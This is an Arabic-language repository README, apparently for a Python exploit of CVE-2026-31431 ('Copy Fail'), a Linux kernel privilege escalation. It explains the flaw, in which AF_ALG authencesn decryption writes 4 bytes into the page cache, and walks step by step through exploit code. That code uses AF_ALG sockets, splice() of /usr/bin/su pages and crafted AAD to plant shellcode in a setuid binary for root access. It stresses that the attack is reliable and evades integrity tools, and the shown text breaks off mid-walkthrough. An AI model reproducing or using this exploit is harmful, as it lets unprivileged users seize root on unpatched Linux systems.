
استغلال بلغة بايثون لثغرة CVE-2026-31431، وهي تصعيد صلاحيات في نواة لينكس عبر إفساد ذاكرة التخزين المؤقت للصفحات لملفات setuid الثنائية، مما يحقق وصولاً بصلاحيات الجذر.
Copy Fail (CVE-2026-31431) هو خطأ منطقي حرج في النظام الفرعي للتشفير في نواة لينكس يسمح للمستخدمين غير المصرح لهم بتحقيق تصعيد الصلاحيات إلى صلاحيات الجذر (root). تؤثر الثغرة على نواة لينكس من الإصدار 6.0.0 حتى 6.18.x عبر جميع التوزيعات الرئيسية.
يحتوي هذا المستودع على الاستغلال الحقيقي الذي يُفعّل الثغرة عن طريق إفساد ذاكرة التخزين المؤقت للصفحات (page cache) للملفات الثنائية ذات setuid وتنفيذ كود تعسفي بصلاحيات الجذر.
Copy Fail هو خطأ منطقي يسمح للمستخدمين غير المصرح لهم بكتابة أجزاء عشوائية من 4 بايت مباشرة إلى ذاكرة التخزين المؤقت للصفحات في النواة لأي ملف قابل للقراءة على النظام، بما في ذلك الملفات الثنائية ذات setuid.
الخصائص الرئيسية:
تنبع الثغرة من تحسين تم في عام 2017 في algif_aead.c (commit 72548b093ee3) والذي غيّر عمليات AEAD من خارج المكان (out-of-place) إلى في المكان (in-place):
قبل (آمن - 2015):
TX Scatterlist (الإدخال) ← TX buffer (بيانات المستخدم من الملف)
RX Scatterlist (الإخراج) ← RX buffer (منطقة إخراج المستخدم)
Scatterlists منفصلة = صفحات ذاكرة التخزين المؤقت للصفحات للقراءة فقط
بعد (معرض للخطر - 2017):
Scatterlist مدمج:
[ RX buffer ] [ صفحات ذاكرة التخزين المؤقت للصفحات مرتبطة عبر sg_chain() ]
↑ ↑
req->src = src req->dst = dst (نفس scatterlist)
صفحات ذاكرة التخزين المؤقت للصفحات الآن في scatterlist قابل للكتابة!
يبدو الـ scatterlist المدمج كما يلي:
[AAD + Ciphertext من RX buffer] || [Tag من صفحة /usr/bin/su في ذاكرة التخزين المؤقت]
↑
الحدود
(authencesn يكتب بعد هذه النقطة)
خوارزمية authencesn هي غلاف AEAD تستخدمه IPsec لأرقام التسلسل الموسعة (ESN). تقوم بحساب HMAC ولكنها تحتاج إلى إعادة ترتيب البايتات داخل AAD (بيانات المصادقة المرتبطة).
في كود النواة (crypto/authenc.c)، أثناء فك التشفير:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // قراءة بايتات AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // مؤقت: الكتابة فوق dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← السطر الرئيسي
// كتابة 4 بايتات عند dst[assoclen+cryptlen]
المشكلة: الكتابة الثالثة تحدث عند الإزاحة assoclen + cryptlen. في المسار المعرض للخطر (في المكان):
تتعامل النواة مع هذا الموضع كـ"مساحة خدش قابلة للاستهلاك" وتكتب القيمة هناك بشكل دائم. البايتات الأصلية في هذا الموضع في ذاكرة التخزين المؤقت للصفحات تُفقد إلى الأبد.
1. يفتح المهاجم مقبس AF_ALG → يربطه بـ authencesn(hmac(sha256),cbc(aes))
(لا توجد صلاحيات مطلوبة؛ AF_ALG متاح للمستخدمين غير المصرح لهم افتراضيًا)
2. يفتح المهاجم الملف المستهدف: /usr/bin/su (ملف ثنائي setuid-root)
3. يستخدم المهاجم splice() لتسليم صفحات /usr/bin/su من ذاكرة التخزين المؤقت
إلى مقبس AF_ALG كـ"ciphertext" و"tag"
4. يرسل المهاجم sendmsg() مع AAD يحتوي على:
- البايتات 0-3: حشو
- البايتات 4-7: seqno_lo = قيمة 4 بايتات للكتابة (يتحكم بها المهاجم)
- البايتات 8+: حشو
5. يستدعي المهاجم recvmsg() الذي يُفعّل عملية فك تشفير AEAD
داخل authencesn في مساحة النواة:
أ) تقرأ النواة بايتات AAD 0-7
ب) تكتب النواة seqno_hi عند dst[4..7] (مؤقت، ثم يُستعاد)
ج) تكتب النواة seqno_lo عند dst[assoclen + cryptlen]
↓
هذه الكتابة تعبر من buffer المستخدم إلى صفحات ذاكرة التخزين المؤقت
↓
كتابة 4 بايتات إلى ذاكرة التخزين المؤقت لـ /usr/bin/su تحدث هنا
د) تحسب النواة HMAC (يفشل التحقق - ciphertext مُلفق)
هـ) يعيد recvmsg() خطأ
لكن: كتابة الـ 4 بايتات تبقى بالفعل في ذاكرة التخزين المؤقت للصفحات
6. يكرر المهاجم الخطوات 2-5 لكل جزء من 4 بايتات من الشيلكود
7. ينفذ المهاجم /usr/bin/su
- تحمّل النواة الملف الثنائي من ذاكرة التخزين المؤقت للصفحات (التي تحتوي الآن على الشيلكود)
- الملف الثنائي هو setuid-root
- يُنفَّذ الشيلكود مع UID=0
- يحصل المهاجم على صلاحيات الجذر
| الجانب | الشرح |
|---|---|
| لا أعطال | تكتمل العملية من منظور النواة |
| حتمي | لا حالات سباق؛ متزامن وموثوق |
| مستمر | يبقى إفساد ذاكرة التخزين المؤقت حتى بعد خطأ recvmsg() |
| غير مرئي | الملف على القرص لم يُمس؛ أدوات فحص السلامة القياسية لا تكتشف شيئًا |
| عالمي | نفس الكود يعمل على جميع التوزيعات؛ لا حاجة لإزاحات خاصة بالتوزيع |
| قابل للنقل | يعمل على معماريتي x86-64 و ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # مقبس الطلب لعمليات AEAD
أنشئ مقبس AF_ALG مرتبطًا بقالب authencesn AEAD.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
افتح الملف الثنائي setuid الذي سيتم إفساده. أي ملف قابل للقراءة يعمل، لكن الملفات الثنائية setuid تُختار لتصعيد الصلاحيات.
pipe_rd, pipe_wr = os.pipe()
أنشئ أنبوبًا سيعمل كوسيط لعمليات splice(). ستحتفظ مخازن الأنبوب المؤقتة بمراجع لصفحات ذاكرة التخزين المؤقت.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
استخدم splice() لنقل cryptlen بايت من /usr/bin/su بدءًا من write_offset إلى الأنبوب.
لماذا هذا مهم: ينقل splice() البيانات بين واصفات الملفات بدون نسخ. يمرر مراجع مباشرة لصفحات ذاكرة التخزين المؤقت للنواة. تبقى هذه الصفحات في بنية المخزن المؤقت الداخلية للأنبوب.
assoclen = 8 # طول AAD: البايتات 0-7
cryptlen = 32 # طول Ciphertext (== مخرجات HMAC-SHA256)
authsize = 32 # طول Tag
write_offset = 0x2000 # الإزاحة في /usr/bin/su للكتابة إليها
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
يحتوي AAD (بيانات المصادقة المرتبطة) على:
ستستخدم خوارزمية authencesn البايتات 4-7 من هذا AAD في كتابة الخدش الخاصة بها.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
أرسل AAD إلى مقبس AF_ALG. تشير علامة MSG_MORE إلى أن ciphertext/tag سيتبعان.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)
انقل صفحات ذاكرة التخزين المؤقت من الأنبوب إلى مقبس AF_ALG. الآن يحتوي scatterlist الخاص بالنواة على:
سلسلة Scatterlist:
[ AAD (من RX buffer) ] || [ Ciphertext (من RX buffer) ] → [ Tag (صفحات ذاكرة التخزين المؤقت) ]
↑
لا يزال يشير إلى
صفحات /usr/bin/su
try:
req_sock.recv(1024)
except OSError:
pass # من المتوقع أن يفشل مع HMAC غير صالح
استدعِ recvmsg() لتفعيل عملية فك تشفير AEAD: